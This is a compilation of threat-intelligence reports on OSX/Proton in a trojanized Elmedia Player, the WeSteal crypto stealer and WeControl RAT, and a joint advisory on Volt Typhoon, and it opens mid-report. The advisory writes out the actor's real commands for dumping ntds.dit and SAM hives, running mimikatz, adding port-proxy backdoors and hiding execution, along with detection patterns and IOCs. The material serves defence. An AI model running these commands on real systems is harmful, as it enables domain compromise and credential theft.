- **Developer ID**: Clifton Grimm (9H35WM5TA5)
- **SHA-1**: 0400b35d703d872adc64aa7ef914a260903998ca
First, the wrapper launches the real Elmedia Player application stored in the Resources folder of the application and finally extracts & launches OSX/Proton. As seen in previous cases, OSX/Proton shows a fake Authorization window to gain root privileges.
### Persistence
OSX/Proton ensures persistence by adding a LaunchAgent for all users when the administrator types their password. It creates the following files on the system:
- `/Library/LaunchAgents/com.Eltima.UpdaterAgent.plist`
- `/Library/.rand/updateragent.app`
```plaintext
$ plutil -p /Library/LaunchAgents/com.Eltima.UpdaterAgent.plist
{
"ProgramArguments" => [
0 => "/Library/.rand/updateragent.app/Contents/MacOS/updateragent"
]
"KeepAlive" => 1
"RunAtLoad" => 1
"Label" => "com.Eltima.UpdaterAgent"
}
```
### Backdoor Commands
As mentioned at the beginning of the post, OSX/Proton is a backdoor with extensive information stealing capabilities. The backdoor component we observed supports the following commands:
- `archive`: Archive files using zip
- `copy`: Copy file locally
- `create`: Create directory or file locally
- `delete`: Delete file locally
- `download`: Download file from a URL
- `file_search`: Search for files (executes find / -iname "%@" 2> /dev/null)
- `force_update`: Self-update with digital signature validation
- `phonehome`
- `remote_execute`: Execute the binary file inside a .zip file or a given shell command
- `tunnel`: Create SSH tunnel using port 22 or 5900
- `upload`: Upload file to C&C server
### C&C Server
Proton uses a C&C domain that mimics the legitimate Eltima domain, which is consistent with the Handbrake case:
| Legitimate Domain | Proton C2 Domain |
|-------------------|------------------|
| Eltima | eltima[.]in |
| Handbrake | handbrake.fr |
| | handbrakestore[.]com |
| | handbrake[.]cc |
### IOCs
**URL distributing the trojanized application at the time of discovery:**
- `hxxps://mac[.]eltima[.]com/download/elmediaplayer.dmg`
- `hxxp://www.elmedia-video-player.[.]com/download/elmediaplayer.dmg`
- `hxxps://mac.eltima[.]com/download/downloader_mac.dmg`
**C&C servers:**
- eltima[.]in / 5.196.42.123 (domain registered 2017-10-15)
**Hashes:**
| Path | SHA-1 | Name | Description |
|------------------------------------------------|----------------------------------------------------------|-------------------|--------------------------------------------------|
| Elmedia Player.app/Contents/Resources/.pl.zip | 9E5378165BB20E9A7F74A7FCC73B528F7B231A75 | multiple threats | ZIP archive with the Proton malware and Python scripts |
| Elmedia Player.app/Contents/MacOS/Elmedia | C9472D791C076A10DCE5FF0D3AB6E7706524B741 | OSX/Proton.D | Launcher (or wrapper) |
| Updater.app/Contents/MacOS/Updater | 3EF34E2581937BABD2B7CE63AB1D92CD9440181A | OSX/Proton.C | Proton malware, not signed |
Hat tip to Michal Malik, Anton Cherepanov, Marc-Étienne M. Léveillé, Thomas Dupuy & Alexis Dorais-Joncas for their work on this investigation. |
# New Shameless Commodity Cryptocurrency Stealer (WeSteal) and Commodity RAT (WeControl)
**Robert Falcone, Simon Conant**
**April 29, 2021**
**Category: Unit 42**
**Tags: Cryptocurrency, Cybercrime, EMEA, RAT, Remote Access Trojan, WeControl, WeSteal**
## Executive Summary
It seems that for every commodity malware takedown and prosecution, another replaces it to empower cybercriminals. Often, commodity malware authors will disingenuously attempt to profess a guise of legitimacy for their malware – a strategy that often doesn’t stand up in court. The author of WeSteal, a new commodity cryptocurrency stealer, makes no attempt to disguise the intent for his malware. The seller promises “the leading way to make money in 2021.”
In this blog, we analyze WeSteal, detail the obfuscation and techniques it uses for persistence and operation, and examine the customers of this malware. We take a look at the actor WeSupply, with an operation and website by the same name, and at the Italian malware coder ComplexCodes, a co-conspirator and actual author of this malware. Immediately before the publication of this report, we discovered that the actors had both added some new features to WeSteal and complemented it with a new commodity remote access tool (RAT) called “WeControl.” We document these new revelations at the end of our report.
Palo Alto Networks customers are protected from WeSteal and WeControl with Cortex XDR, the Next-Generation Firewall with WildFire and Threat Prevention security subscriptions, and AutoFocus.
## Origin of WeSteal
Actor “ComplexCodes” started advertising WeSteal on underground forums in mid-February 2021. However, ComplexCodes had been selling a “WeSupply Crypto Stealer” since May 2020. A comparison of samples of the earlier WeSupply Crypto Stealer with WeSteal suggests that WeSteal is likely simply an evolution of the same project. This Italian malware coder previously authored a “Zodiac Crypto Stealer” and “Spartan Crypter” for obfuscating malware to avoid antivirus detection.
The actor’s forum signature indicates an affiliation with a site that sells accounts for services such as Netflix and Disney+. The intent is once again on display with ComplexCode’s Discord-based commodity distributed denial-of-service (DDoS) offering, “Site Killah.”
## Intent of WeSteal
When pursuing cases against malware authors, prosecutors typically need to demonstrate the author’s intent for the malware. Many authors will hide behind meaningless Terms of Service statements that end users must not use the malware for illegitimate purposes. They will often describe potential “legitimate” uses for their malware – only to further describe anti-malware evasion properties, silent installation and operation, or features such as cryptocurrency mining, password theft, or disabling webcam lights.
There is no such pretense by ComplexCodes with WeSteal. There is the name of the malware itself. Then there is the website, “WeSupply,” owned by a co-conspirator, proudly stating “WeSupply – You profit.” As well as calling the malware WeSteal and advertising the “Crypto Stealer” feature, WeSupply’s posts on forums also describe support for zero-day exploits and “Antivirus Bypassing.” This is demonstrated with a screenshot claiming no antivirus detection for a sample. WeSteal includes a “Victim tracker panel” that tracks “Infections” – leaving no doubt about the context.
Of course, ComplexCodes profits from the sale of WeSteal by charging €20 for a month, €50 for three months, and €125 for one year. There isn’t any possible angle from which to claim legitimacy for a piece of software designed to steal cryptocurrency transactions.
## Capabilities of WeSteal
In order to “steal” cryptocurrency from a victim, WeSteal uses regular expressions to look for strings matching the patterns of Bitcoin and Ethereum wallet identifiers being copied to the clipboard. When it matches these, it replaces the copied wallet ID in the clipboard with one supplied by the malware. The victim then pastes the substituted wallet ID for a transaction, and the funds are sent instead to the substitute wallet.
### RAT?
WeSteal is advertised as featuring a “RAT Panel.” Not a single RAT feature is advertised nor observed in our analysis. It seems that ComplexCodes is rather ambitiously describing their simple hosted command-and-control (C2) service, elsewhere described as a “victim tracker,” as a “RAT Panel.”
### C2 as a Service
As we have observed in some other commodity malware, rather than leaving customers to run their own C2, WeSteal operates with a hosted C2 as a service (C2aaS). WeSteal is configured to use the following URLs for its C2 communications. We have observed two different C2 domains, one of which is also the sales site for the malware.
- hxxps://wesupply[.]to/t_api.php
- hxxps://wesupply[.]io/t_api.php
### Speaking of “Service”
The WeSupply crew seems very invested in the “success” of their customers. In one forum sales thread, a would-be but apparently inexperienced potential criminal asks: “how do you use the tool and how does it target someone?” To which the helpful malware peddlers respond: “Open a ticket, will help you with all your questions.”
## Obfuscation
WeSteal is distributed as a Python-based Trojan in a script named "westeal.py." ComplexCodes converted it into an executable form using PyInstaller. The Trojan was specifically written for Python 3.9, as the PyInstaller package included python39.dll as the Python interpreter. The developer also used the open-source PyArmor source code obfuscator, which encrypts the contents of the Python script and decrypts the contents before sending to the Python interpreter for execution.
The “add_startup” function establishes persistent access to the system, by which WeSteal copies itself to the following location:
C:\Users\<username>\AppData\Local.exe
WeSteal then creates the following batch script in the startup folder that will run each time the user logs in:
c:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\appdata.bat
The batch script contains the following command:
start %localappdata%
The command above uses a novel technique to obfuscate the batch file starting the WeSteal executable. The start command attempts to run the environment variable %localappdata%, which on a default Windows system is a path to the folder C:\Users\<username>\AppData\Local. However, in this context, the Local in that environment variable is interpreted as a file rather than a subfolder. The start command will run the WeSteal executable Local.exe (the start command does not require the .exe file extension) in the path C:\Users\<username>\AppData\.
### The “heist” (or “cuckoo’s egg”?)
The get_clipboard and copy_to_clip functions carry out WeSteal’s cryptojacking functionality. These functions check for Bitcoin (BTC) and Ethereum (ETH) wallets copied to the clipboard and replace them with an actor's wallet, hoping that the user will then paste the actor’s wallet instead of the intended one, redirecting a cryptocurrency transaction in the actor’s favor. The actor is counting on the victim not noticing the substitution until it is too late and the irrevocable cryptocurrency transaction has been completed.
WeSteal uses regular expressions to identify wallets copied by the user to the clipboard. The regular expressions specifically describing the formats of Bitcoin and Ethereum wallets are seen in the constants identified in the decrypted WeSteal sample.
## WeSteal’s Customers, Wallets and Their “Hauls”
Also encoded in the samples were the hardcoded customer “handle,” and their BTC and ETH wallets. From this, we have some idea of the current customer base and possibly an idea of their success. We collated a small list of customers. In general, the wallets identified had only a small number of transactions since WeSteal was released, and those were of low value. However, at least one wallet (actor “pepsi”) received approximately $800 in a single Ethereum transaction. It is, of course, possible that any of these transactions may be unrelated to the malware.
| Handle | Ethereum Wallet | Bitcoin Wallet |
|-------------|------------------------------------------------------------------|----------------------------------------------------|
| Heroin | 0xb5F7Bf1B46854f3EDA1201294941Edb13f9661EA | 1AB3XSnioEFKKZcDadmSDX8YRcQzgRnG3c |
| pepsi | 0x5f9C7078dFF737BbF872b438151Cd38ECfe0ebee | 1NbyaaQTGPAhj8CuqRSRrXbWCCtyhdyv7T |
| touourien | 0x419f92Af57Eeb3f50fbE10298cC4a684aB452011 | bc1qg0gr8286k6kemtd3cwch6guzfp6yn9n3smlqt8 |
| Adribusted | 0x49c8d0359cAf80FfebD8424128A951264f4f6506 | bc1q8pufxrmm8k5n9v4w2auvlaedx9lm23c7sg6mye |
| King | 0x1FdD9e44048F88B04C6DBba897E05ecCA55A61f9 | 1KVsfk5jT5fUGbUxomxAsKYxVvSZC9joXs |
| belzedar | 0xc7D4E35C3ea831c3Bbf53550621315C79423E95F | bc1q30el678lr9dwcydtm8gjztf389zrj6gfs6ezj5 |
| xjoking | 0xa4FC40168EF940eD013E1dB6986C5746AAC3b2c3 | 1APLhq2yC421C3G6X5uhLhTmtZMjSUZ38G |
| Shakho | 0x356d6162ADa9db9bd31b95Eec92Cd3B1D3273623 | 1CUYk9xCDU9WfTbLZj561M32Q55EZtcyEo |
| WeZesk | 0x269eCD3E97A37C27347E4E87D6f3f1B59A0BE2AB | 1BcD15EEpeA1Mfz49oAMfdikeXjhCfiUU6 |
| X0NR8 | 0x86C19f41004d451dc6dcb4f0AC086EDdA1383b70 | bc1qkmg9c0p52xgzqjqswdz6k9gxddwvchr8rt3pm8 |
| wizzz | 0xAaD7685A29bE275E9404Ba88260E19dB52644DE3 | bc1qx7ha77kanm3nn8fe2ap4ts2uyxjxgmc35llud7 |
| Pepe | 0xB97749901245b417060bbdFf3D7d1eC90b584a7c | 17SjdBcboW2EPFMyoPwzp64eyjMwTLoBSG |
The actor WeSupply is unsurprisingly observed using their own tool (using a second forum handle, “Shakho”). Also unsurprising is that many of these handles are also noted in the same forums where WeSteal is promoted.
## Recent Observed Updates, Including WeControl RAT
Immediately before the publication of this report, we noticed some new samples that bore a striking similarity to WeSteal (also Pyarmor-obfuscated compiled Python), but were also different from other WeSteal samples. This caused us to refresh our research of forums and the actors’ website. We note them advertising improvements to WeSteal, as well as selling a new piece of malware called “WeControl” RAT.
### WeSteal Improvements
When we first analyzed WeSteal, we wondered why the actors included only the ability to monitor for and steal just two cryptocurrencies, Bitcoin and Ethereum. Although those are the most popular cryptocurrencies, it would surely be simple enough to code for the wallet patterns of other cryptocurrencies as well.
Unsurprisingly, we now note that the authors have added three cryptocurrencies to the list of those that can be stolen:
- Bitcoin: BTC
- Ethereum: ETH
- Litecoin: LTC
- Bitcoin Cash: BCH
- Monero: XMR
### WeControl RAT
Unfortunately, the timing of the discovery of a new commodity RAT at the actors’ site precluded us from including a full analysis in this report. WeControl is marketed as a “rat/botnet hybrid.” The description seems to indicate that the actors have incorporated the C2-as-a-service model of WeSteal into this RAT as well. This is not “the first” web-based C2aaS as they claim – WebMonitor RAT has been offering C2aaS for over two years.
Using a familiar technique from WeSteal, WeControl is again compiled Python obfuscated with PyArmor. We first observed a sample of WeControl mid-April 2021. At the time of publication, we have collected just seven samples of WeControl. The hashes for these can be found at the end of this report.
## Conclusion
WeSteal is a shameless piece of commodity malware with a single, illicit function. Its simplicity is matched by a likely simple effectiveness in the theft of cryptocurrency. The low-sophistication actors who purchase and deploy this malware are thieves, no less so than street pickpockets. Their crimes are as real as their victims.
The fast and simple monetization chain and anonymity of cryptocurrency theft, together with the low cost and simplicity of operation, will undoubtedly make this type of crimeware attractive and popular to less-skilled thieves. WeControl is similarly both designed and marketed as a tool for illicit activity, lacking in propriety no less than the earlier WeSteal.
The ease of detection and blocking of the C2 as a service works against the Italian malware author ComplexCodes. It’s surprising that customers trust their “victims” to the potential control of the malware author, who no doubt could in turn usurp them, stealing the victim “bots” or replacing customers’ wallets with one of ComplexCodes’ own at any time. It’s also surprising that the malware author would risk criminal prosecution for what must surely be a small amount of profit, given the apparently small customer base.
Organizations with effective spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from WeSteal and WeControl with Cortex XDR or the Next-Generation Firewall with WildFire and Threat Prevention security subscriptions. AutoFocus users can track WeSteal and WeControl activity using the WeSteal and WeControl tags.
Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to deploy protections to their customers rapidly and to systematically disrupt malicious cyber actors.
## Indicators of Compromise
### WeSteal Samples
A SHA256 hash list of the 157 identified WeSteal samples, as of the time of publishing this report, is available at our GitHub repository.
### WeControl Samples
- 59ffba39fc87eacd7c19498b5bb495d9c86c8bec40f3282e996aa80d77c45fa7
- ed6875d60a67149c6cee4798a305810c6bcaa9b0b9349ec397ed331d96707e37
- 2bdc916680402a973afca8407d83c299092515cf5cc78ad0a92a8ce2d72b6f7c
- 8d37eef0308d5bd03d6c93ab247ca82d2157053822428ad1c787771de8e4332f
- e2b11c10832991577184abd4f57af7383f30142a52fc8e2b41145f416860acf1
- 0920763b06f0a90f57910aaeff361d978bf37b025cbb9bc206d290eeb81e6217
- eac7d579002f5e7f2cbff86b8e233c433f14ae25faf112eabaa1e2dd4f2a9a3d
### C2 / Sales Domains
- wesupply[.]to
- wesupply[.]io |
# Joint Cybersecurity Advisory
**TLP:CLEAR**
## People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection
### Summary
The United States and international cybersecurity authorities are issuing this joint Cybersecurity Advisory (CSA) to highlight a recently discovered cluster of activity associated with a People’s Republic of China (PRC) state-sponsored cyber actor, also known as Volt Typhoon. This activity affects networks across U.S. critical infrastructure sectors, and the authoring agencies believe the actor could apply the same techniques against these and other sectors worldwide.
This advisory from the United States National Security Agency (NSA), the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Federal Bureau of Investigation (FBI), the Australian Signals Directorate’s Australian Cyber Security Centre (ACSC), the Communications Security Establishment’s Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NCSC-NZ), and the United Kingdom National Cyber Security Centre (NCSC-UK) provides an overview of hunting guidance and associated best practices to detect this activity.
One of the actor’s primary tactics, techniques, and procedures (TTPs) is living off the land, which uses built-in network administration tools to perform their objectives. This TTP allows the actor to evade detection by blending in with normal Windows system and network activities, avoid endpoint detection and response (EDR) products that would alert on the introduction of third-party applications to the host, and limit the amount of activity that is captured in default logging configurations. Some of the built-in tools this actor uses are: wmic, ntdsutil, netsh, and PowerShell. The advisory provides examples of the actor’s commands along with detection signatures to aid network defenders in hunting for this activity. Many of the behavioral indicators included can also be legitimate system administration commands that appear in benign activity. Care should be taken not to assume that findings are malicious without further investigation or other indications of compromise.
### Technical Details
This advisory uses the MITRE ATT&CK for Enterprise framework, version 13.
#### Background
The authoring agencies are aware of recent PRC state-sponsored cyber activity and have identified potential indicators associated with these techniques. This advisory will help net defenders hunt for this activity on their systems. It provides many network and host artifacts associated with the activity occurring after the network has been initially compromised, with a focus on command lines used by the cyber actor. An Indicators of Compromise (IOCs) summary is included at the end of this advisory.
#### Artifacts
**Network artifacts**
The actor has leveraged compromised small office/home office (SOHO) network devices as intermediate infrastructure to obscure their activity by having much of the command and control (C2) traffic emanate from local ISPs in the geographic area of the victim. Owners of SOHO devices should ensure that network management interfaces are not exposed to the Internet to avoid them being repurposed as redirectors by malicious actors. If they must be exposed to the Internet, device owners and operators should ensure they follow zero trust principles and maintain the highest level of authentication and access controls possible.
The actor has used Earthworm and a custom Fast Reverse Proxy (FRP) client with hardcoded C2 callbacks to ports 8080, 8443, 8043, 8000, and 10443 with various filenames including, but not limited to: cisco_up.exe, cl64.exe, vm3dservice.exe, watchdogd.exe, Win.exe, WmiPreSV.exe, and WmiPrvSE.exe.
**Host artifacts**
*Windows Management Instrumentation (WMI/WMIC)*
The actor has executed the following command to gather information about local drives:
```
cmd.exe /C "wmic path win32_logicaldisk get caption,filesystem,freespace,size,volumename"
```
This command does not require administrative credentials to return results. The command uses a command prompt to execute a Windows Management Instrumentation Command Line (WMIC) query, collecting information about the storage devices on the local host, including drive letter, file system (e.g., new technology file system [NTFS]), free space and drive size in bytes, and an optional volume name. Windows Management Instrumentation (WMI) is a built-in Windows tool that allows a user to access management information from hosts in an enterprise environment. The command line version of WMI is called WMIC.
By default, WMI Tracing is not enabled, so the WMI commands being executed and the associated user might not be available. Additional information on WMI events and tracing can be found in the References section of the advisory.
*Ntds.dit Active Directory database*
The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive from Windows domain controllers (DCs) out of the network to perform password cracking. The ntds.dit file is the main Active Directory (AD) database file and, by default, is stored at %SystemRoot%\NTDS\ntds.dit. This file contains information about users, groups, group memberships, and password hashes for all users in the domain; the SYSTEM registry hive contains the boot key that is used to encrypt information in the ntds.dit file. Although the ntds.dit file is locked while in use by AD, a copy can be made by creating a Volume Shadow Copy and extracting the ntds.dit file from the Shadow Copy. The SYSTEM registry hive may also be obtained from the Shadow Copy.
The following example commands show the actor creating a Shadow Copy and then extracting a copy of the ntds.dit file from it:
```
cmd /c vssadmin create shadow /for=C: > C:\Windows\Temp\<filename>.tmp
cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit C:\Windows\Temp > C:\Windows\Temp\<filename>.tmp
```
The built-in Ntdsutil.exe tool performs all these actions using a single command. There are several ways to execute Ntdsutil.exe, including running from an elevated command prompt (cmd.exe), using WMI/WMIC, or PowerShell. Defenders should look for the execution of Ntdsutil.exe commands using long, short, or a combination of the notations.
The actor has executed WMIC commands to create a copy of the ntds.dit file and SYSTEM registry hive using ntdsutil.exe. Each of the following actor commands is a standalone example; multiple examples are provided to show how syntax and file paths may differ per environment.
```
wmic process call create "ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\pro"
wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\Pro"
wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"
```
The actor has also saved the files directly to the C:\Windows\Temp and C:\Users\Public directories, so the entirety of those directory structures should be analyzed. Ntdsutil.exe creates two subfolders in the directory specified in the command: an Active Directory folder that contains the ntds.dit and ntds.jfm files, and a registry folder that contains the SYSTEM and SECURITY hives. Defenders should look for this folder structure across their network:
```
<path specified in command>\Active Directory\ntds.dit
<path specified in command>\Active Directory\ntds.jfm
<path specified in command>\registry\SECURITY
<path specified in command>\registry\SYSTEM
```
When one of the example commands is executed, several successive log entries are created in the Application log, under the ESENT Source. Associated events can be viewed in Windows Event Viewer by navigating to: Windows Logs | Application. To narrow results to relevant events, select Filter Current Log from the Actions menu on the right side of the screen. In the Event sources dropdown, check the box next to ESENT, then limit the logs to ID numbers 216, 325, 326, and 327. Clicking the OK box will apply the filters to the results.
Since ESENT logging is used extensively throughout Windows, defenders should focus on events that reference ntds.dit. If such events are present, the events’ details should contain the file path where the file copies were created. Identifying the user associated with this activity is also a critical step in a hunt operation as other actions by the compromised—or actor-created—user account can be helpful to understand additional actor TTPs, as well as the breadth of the actor's actions.
Note: If an actor can exfiltrate the ntds.dit and SYSTEM registry hive, the entire domain should be considered compromised, as the actor will generally be able to crack the password hashes for domain user accounts, create their own accounts, and/or join unauthorized systems to the domain. If this occurs, defenders should follow guidance for removing malicious actors from victim networks.
In addition to the above TTPs used by the actor to copy the ntds.dit file, the following tools could be used by an actor to obtain the same information:
- Secretsdump.py
- Invoke-NinjaCopy (PowerShell)
- DSInternals (PowerShell)
- FgDump
- Metasploit
Best practices for securing ntds.dit include hardening Domain Controllers and monitoring event logs for ntdsutil.exe and similar process creations. Additionally, any use of administrator privileges should be audited and validated to confirm the legitimacy of executed commands.
*PortProxy*
The actor has used the following commands to enable port forwarding on the host:
```
cmd.exe /c "netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectaddress=<rfc1918 internal ip address> connectport=8443 protocol=tcp"
```
Netsh is a built-in Windows command line scripting utility that can display or modify the network settings of a host, including the Windows Firewall. The portproxy add command is used to create a host:port proxy that will forward incoming connections on the provided listenaddress and listenport to the connectaddress and connectport. Administrative privileges are required to execute the portproxy command. Each portproxy command above will create a registry key in the HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp\ path. Defenders should look for the presence of keys in this path and investigate any anomalous entries.
Note: Using port proxies is not common for legitimate system administration since they can constitute a backdoor into the network that bypasses firewall policies. Administrators should limit port proxy usage within environments and only enable them for the period of time in which they are required.
Defenders should also use unusual IP addresses and ports in the command lines or registry entries to identify other hosts that are potentially included in actor actions. All hosts on the network should be examined for new and unusual firewall and port forwarding rules, as well as IP addresses and ports specified by the actor. If network traffic or logging is available, defenders should attempt to identify what traffic was forwarded through the port proxies to aid in the hunt operation. Identifying the associated user account that made the networking changes can also aid in the hunt operation.
Firewall rule additions and changes can be viewed in Windows Event Viewer by navigating to: Applications and Service Logs | Microsoft | Windows | Windows Firewall With Advanced Security | Firewall. In addition to host-level changes, defenders should review perimeter firewall configurations for unauthorized changes and/or entries that may permit external connections to internal hosts. The actor is known to target perimeter devices in their operations. Firewall logs should be reviewed for any connections to systems on the ports listed in any portproxy commands discovered.
*PowerShell*
The actor has used the following PowerShell command to identify successful logons to the host:
```
Get-EventLog security -instanceid 4624
```
Event ID 4624 is logged when a user successfully logs on to a host and contains useful information such as the logon type (e.g., interactive or networking), associated user and computer account names, and the logon time. Event ID 4624 entries can be viewed in Windows Event Viewer by navigating to: Windows Logs | Security. PowerShell logs can be viewed in Event Viewer: Applications and Service Logs | Windows PowerShell.
This command identifies what user account they are currently leveraging to access the network, identify other users logged on to the host, or identify how their actions are being logged. If the actor is using a password spray technique, there may be several failed logon (Event ID 4625) events for several different user accounts, followed by one or more successful logons (Event ID 4624) within a short period of time. This period may vary by actor but can range from a few seconds to a few minutes. If the actor is using brute force password attempts against a single user account, there may be several Event ID 4625 entries for that account, followed by a successful logon Event ID 4624. Defenders should also look for abnormal account activity, such as logons outside of normal working hours and impossible time-and-distance logons (e.g., a user logging on from two geographically separated locations at the same time).
*Impacket*
The actor regularly employs the use of Impacket’s wmiexec, which redirects output to a file within the victim host’s ADMIN$ share (C:\Windows\) containing an epoch timestamp in its name. The following is an example of the “dir” command being executed by wmiexec.py:
```
cmd.exe /Q /c dir 1> \\127.0.0.1\ADMIN$\__1684956600.123456 2>&1
```
Note: Discovery of an entry similar to the example above in the Windows Event Log and/or a file with a name in a similar format may be evidence of malicious activity and should be investigated further. In the event that only a filename is discovered, the epoch timestamp within the filename reflects the time of execution by default and can be used to help scope threat hunting activities.
*Enumeration of the environment*
The following commands were used by the actor to enumerate the network topology, the active directory structure, and other information about the target environment:
```
arp -a
curl www.ip-api.com
dnscmd . /enumrecords /zone {REDACTED}
dnscmd . /enumzones
dnscmd /enumrecords {REDACTED} . /additional
ipconfig /all
ldifde.exe -f c:\windows\temp\<filename>.txt -p subtree
net localgroup administrators
net group /dom
net group "Domain Admins" /dom
netsh interface firewall show all
netsh interface portproxy show all
netsh interface portproxy show v4tov4
netsh firewall show all
netsh portproxy show v4tov4
netstat -ano
reg query hklm\software\
systeminfo
tasklist /v
whoami
wmic volume list brief
wmic service brief
wmic product list brief
wmic baseboard list full
wevtutil qe security /rd:true /f:text /q:*[System[(EventID=4624) and TimeCreated[@SystemTime>='{REDACTED}']] and EventData[Data='{REDACTED}']]
```
**Additional credential theft**
The actor also used the following commands to identify additional opportunities for obtaining credentials in the environment:
```
dir C:\Users\{REDACTED}\.ssh\known_hosts
dir C:\users\{REDACTED}\appdata\roaming\Mozilla\firefox\profiles
mimikatz.exe
reg query hklm\software\OpenSSH
reg query hklm\software\OpenSSH\Agent
reg query hklm\software\realvnc
reg query hklm\software\realvnc\vncserver
reg query hklm\software\realvnc\Allusers
reg query hklm\software\realvnc\Allusers\vncserver
reg query hkcu\software\{REDACTED}\putty\session
reg save hklm\sam ss.dat
reg save hklm\system sy.dat
```
**Additional commands**
The actor executed the following additional commands:
```
7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z
C:\Windows\system32\pcwrun.exe
C:\Users\Administrator\Desktop\Win.exe
C:\Windows\System32\cmdbak.exe /c ping -n 1 127.0.0.1 > C:\Windows\temp\putty.log
C:\Windows\Temp\tmp.log
cmd.exe /c dir \\127.0.0.1\C$ /od
cmd.exe /c ping –a –n 1 <IP address>
cmd.exe /c wmic /user:<username> /password:<password> process call create "net stop \"<service name>\" > C:\Windows\Temp\tmp.log"
cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__<timestamp value> 2>&1
net use \\127.0.0.1\IPC$ /y /d
powershell start-process -filepath c:\windows\temp\<filename>.bat -windowstyle Hidden
rar.exe a –{REDACTED} c:\Windows\temp\{REDACTED}
D:\{REDACTED}\
wmic /node:{REDACTED} /user:{REDACTED} /password:{REDACTED}
cmd /c whoami
xcopy C:\windows\temp\hp d:\{REDACTED}
```
### Mitigations
The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actor’s activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST).
- Defenders should harden domain controllers and monitor event logs for ntdsutil.exe and similar process creations. Additionally, any use of administrator privileges should be audited and validated to confirm the legitimacy of executed commands.
- Administrators should limit port proxy usage within environments and only enable them for the period of time in which they are required.
- Defenders should investigate unusual IP addresses and ports in command lines, registry entries, and firewall logs to identify other hosts that are potentially involved in actor actions.
- In addition to host-level changes, defenders should review perimeter firewall configurations for unauthorized changes and/or entries that may permit external connections to internal hosts.
- Defenders should also look for abnormal account activity, such as logons outside of normal working hours and impossible time-and-distance logons (e.g., a user logging on from two geographically separated locations at the same time).
- Defenders should forward log files to a hardened centralized logging server, preferably on a segmented network.
### Logging recommendations
To detect the activity described in this CSA, defenders should set the audit policy for Windows security logs to include “audit process creation” and “include command line in process creation events” in addition to accessing the logs. Otherwise, the default logging configurations may not contain the necessary information.
Enabling these options will create Event ID 4688 entries in the Windows Security log to view command line processes. Given the cost and difficulty of logging and analyzing this kind of activity, if an organization must limit the requirements, they should focus on enabling this kind of logging on systems that are externally facing or perform authentication or authorization, especially including domain controllers.
To hunt for the malicious WMI and PowerShell activity, defenders should also log WMI and PowerShell events. By default, WMI Tracing and deep PowerShell logging are not enabled, but they can be enabled by following the configuration instructions linked in the References section.
The actor takes measures to hide their tracks, such as clearing logs. To ensure log integrity and availability, defenders should forward log files to a hardened centralized logging server, preferably on a segmented network. Such an architecture makes it harder for an actor to cover their tracks as evidence of their actions will be captured in multiple locations.
Defenders should also monitor logs for Event ID 1102, which is generated when the audit log is cleared. All Event ID 1102 entries should be investigated as logs are generally not cleared and this is a known actor tactic to cover their tracks. Even if an event log is cleared on a host, if the logs are also stored on a logging server, the copy of the log will be preserved.
This activity is often linked to malicious exploitation of edge devices and network management devices. Defenders should enable logging on their edge devices, to include system logs, to be able to identify potential exploitation and lateral movement. They should also enable network-level logging, such as sysmon, webserver, middleware, and network device logs.
### Indicators of compromise (IOCs) summary
**TTPs**
- Exploiting vulnerabilities in widely used software including, but not limited to:
- CVE-2021-40539—ManageEngine ADSelfService Plus.
- CVE-2021-27860—FatPipe WARP, IPVPN, MPVPN.
- Using webshells for persistence and exfiltration, with at least some of the webshells derived from the Awen webshell.
- Using compromised Small-Office Home-Office (SOHO) devices (e.g., routers) to obfuscate the source of the activity.
- Using living off the land tools for discovery, lateral movement, and collection activities, to include:
- certutil
- dnscmd
- ldifde
- makecab
- net user/group/use
- netsh
- nltest
- ntdsutil
- PowerShell
- req query/save
- systeminfo
- tasklist
- wevtutil
- wmic
- xcopy
- Selective clearing of Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity.
- Using open source “hacktools” tools, such as:
- Fast Reverse Proxy (frp)
- Impacket
- Mimikatz.exe
- Remote administration tools.
**Command execution**
File names and directory paths used in these commands are only meant to serve as examples. Actual names and paths may differ depending on environment and activity, so defenders should account for variants when performing queries.
```
7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z
c:\windows\temp\*
"C:\pstools\psexec.exe" \\{REDACTED} -s cmd /c "cmd.exe /c "netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=9999""
C:\Windows\system32\pcwrun.exe
C:\Users\Administrator\Desktop\Win.exe
cmd.exe /C dir /S \\{REDACTED}\c$\Users\{REDACTED} >> c:\windows\temp\{REDACTED}.tmp
cmd.exe /c wmic process call create "cmd.exe /c mkdir C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\McAfee_Logs\""
```
**Command line patterns**
Certain patterns in commands can be used to identify potentially malicious commands:
- cmd.exe /C dir /S \\* >> *
- cmd.exe /Q /c * 1> \\127.0.0.1\ADMIN$\__*.*>&1
- powershell start-process -filepath c:\windows\temp\*.exe -windowstyle hidden
**File paths**
The most common paths where files and executables used by the actor have been found include:
- C:\Users\Public\Appfile (including subdirectories)
- C:\Perflogs (including subdirectories)
- C:\Windows\Temp (including subdirectories)
**File names**
The file names the actor has previously used for such things as malware, scripts, and tools include:
- backup.bat
- cl64.exe
- update.bat
- Win.exe
- billagent.exe
- nc.exe
- update.exe
- WmiPrvSE.exe
- billaudit.exe
- rar.exe
- vm3dservice.exe
